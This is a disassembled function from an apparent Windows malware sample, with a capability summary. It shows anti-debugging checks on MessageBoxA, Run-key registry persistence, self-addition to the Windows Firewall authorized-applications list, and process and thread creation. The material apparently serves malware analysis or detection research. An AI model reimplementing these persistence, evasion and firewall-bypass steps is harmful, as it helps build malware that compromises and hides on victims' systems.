Function at 0x4037af
Capabilities:
Create process on windows
Create thread
Persist via run registry key
Persist via windows service
Query environment variable
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x73c
call fcn.00406680
call fcn.004014c9
call fcn.004072db
test eax, eax
je 0x4037d2
xor eax, eax
jmp 0x403bfb
call fcn.004075b2
and eax, 0xff
test eax, eax
je 0x4037e7
xor eax, eax
jmp 0x403bfb
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x414], eax
mov eax, dword [ebp - 0x414]
push eax
call fcn.00407386
add esp, 4
and eax, 0xff
cmp eax, 1
jne 0x403814
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00407561
and eax, 0xff
cmp eax, 1
jne 0x403838
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004075ef
mov byte [ebp - 0x420], 0xc8
mov byte [ebp - 0x41f], 0
mov byte [ebp - 0x41e], 4
mov byte [ebp - 0x41d], 0
mov byte [ebp - 0x41c], 0x60
push str.MessageBoxA
push 0x41184c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x418], eax
push 5
lea edx, [ebp - 0x420]
push edx
mov eax, dword [ebp - 0x418]
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x4038a1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea ecx, [ebp - 0x30c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea edx, [ebp - 0x208]
push edx
push 0x41168c
call fcn.004071c0
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x411674
call fcn.004071c0
add esp, 4
push eax
lea eax, [ebp - 0x208]
push eax
push 0x411858
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push 0x411674
call fcn.004071c0
add esp, 4
push eax
lea edx, [ebp - 0x208]
push edx
call fcn.00405ce3
add esp, 8
test eax, eax
je 0x403b87
mov dword [ebp - 0x72c], 0
push 0
lea eax, [ebp - 0x72c]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x411674
call fcn.004071c0
add esp, 4
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
push 0x411674
call fcn.004071c0
add esp, 4
push eax
push 1
push 0
push 0x411680
call fcn.004071c0
add esp, 4
push eax
mov ecx, dword [ebp - 0x72c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x72c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 0x72c]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x411890
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x411674
call fcn.004071c0
add esp, 4
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
push 0x411674
call fcn.004071c0
add esp, 4
push eax
push 1
push 0
push 0x411680
call fcn.004071c0
add esp, 4
push eax
mov ecx, dword [ebp - 0x72c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x72c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0x410]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x411680
call fcn.004071c0
add esp, 4
push eax
lea ecx, [ebp - 0x410]
push ecx
push str._s::Enabled:_s
push 0x100
lea edx, [ebp - 0x6e4]
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
push 0
lea eax, [ebp - 0x72c]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [ebp - 0x6e4]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea edx, [ebp - 0x6e4]
push edx
push 1
push 0
lea eax, [ebp - 0x410]
push eax
mov ecx, dword [ebp - 0x72c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x72c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.0040726d
push 0x10
push 0
lea eax, [ebp - 0x73c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x728]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x71c], 0x413618
mov dword [ebp - 0x728], 0x44
mov dword [ebp - 0x6fc], 1
mov word [ebp - 0x6f8], 0
lea edx, [ebp - 0x73c]
push edx
lea eax, [ebp - 0x728]
push eax
lea ecx, [ebp - 0x208]
push ecx
push 0
push 0x28
push 1
push 0
push 0
push 0
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403b7f
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x73c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x738]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [0x413d40]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x5dc], 0x4135d0
lea edx, [ebp - 0x5e0]
push edx
push 0
lea eax, [ebp - 0x5dc]
push eax
push 0x408d1a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x5e0]
push ecx
push 0
push 0
push 0x403c01
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 0
jne 0x403bdd
xor eax, eax
jmp 0x403bfb
push 0xffffffffffffffff
mov edx, dword [ebp - 0x5e4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x5e4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10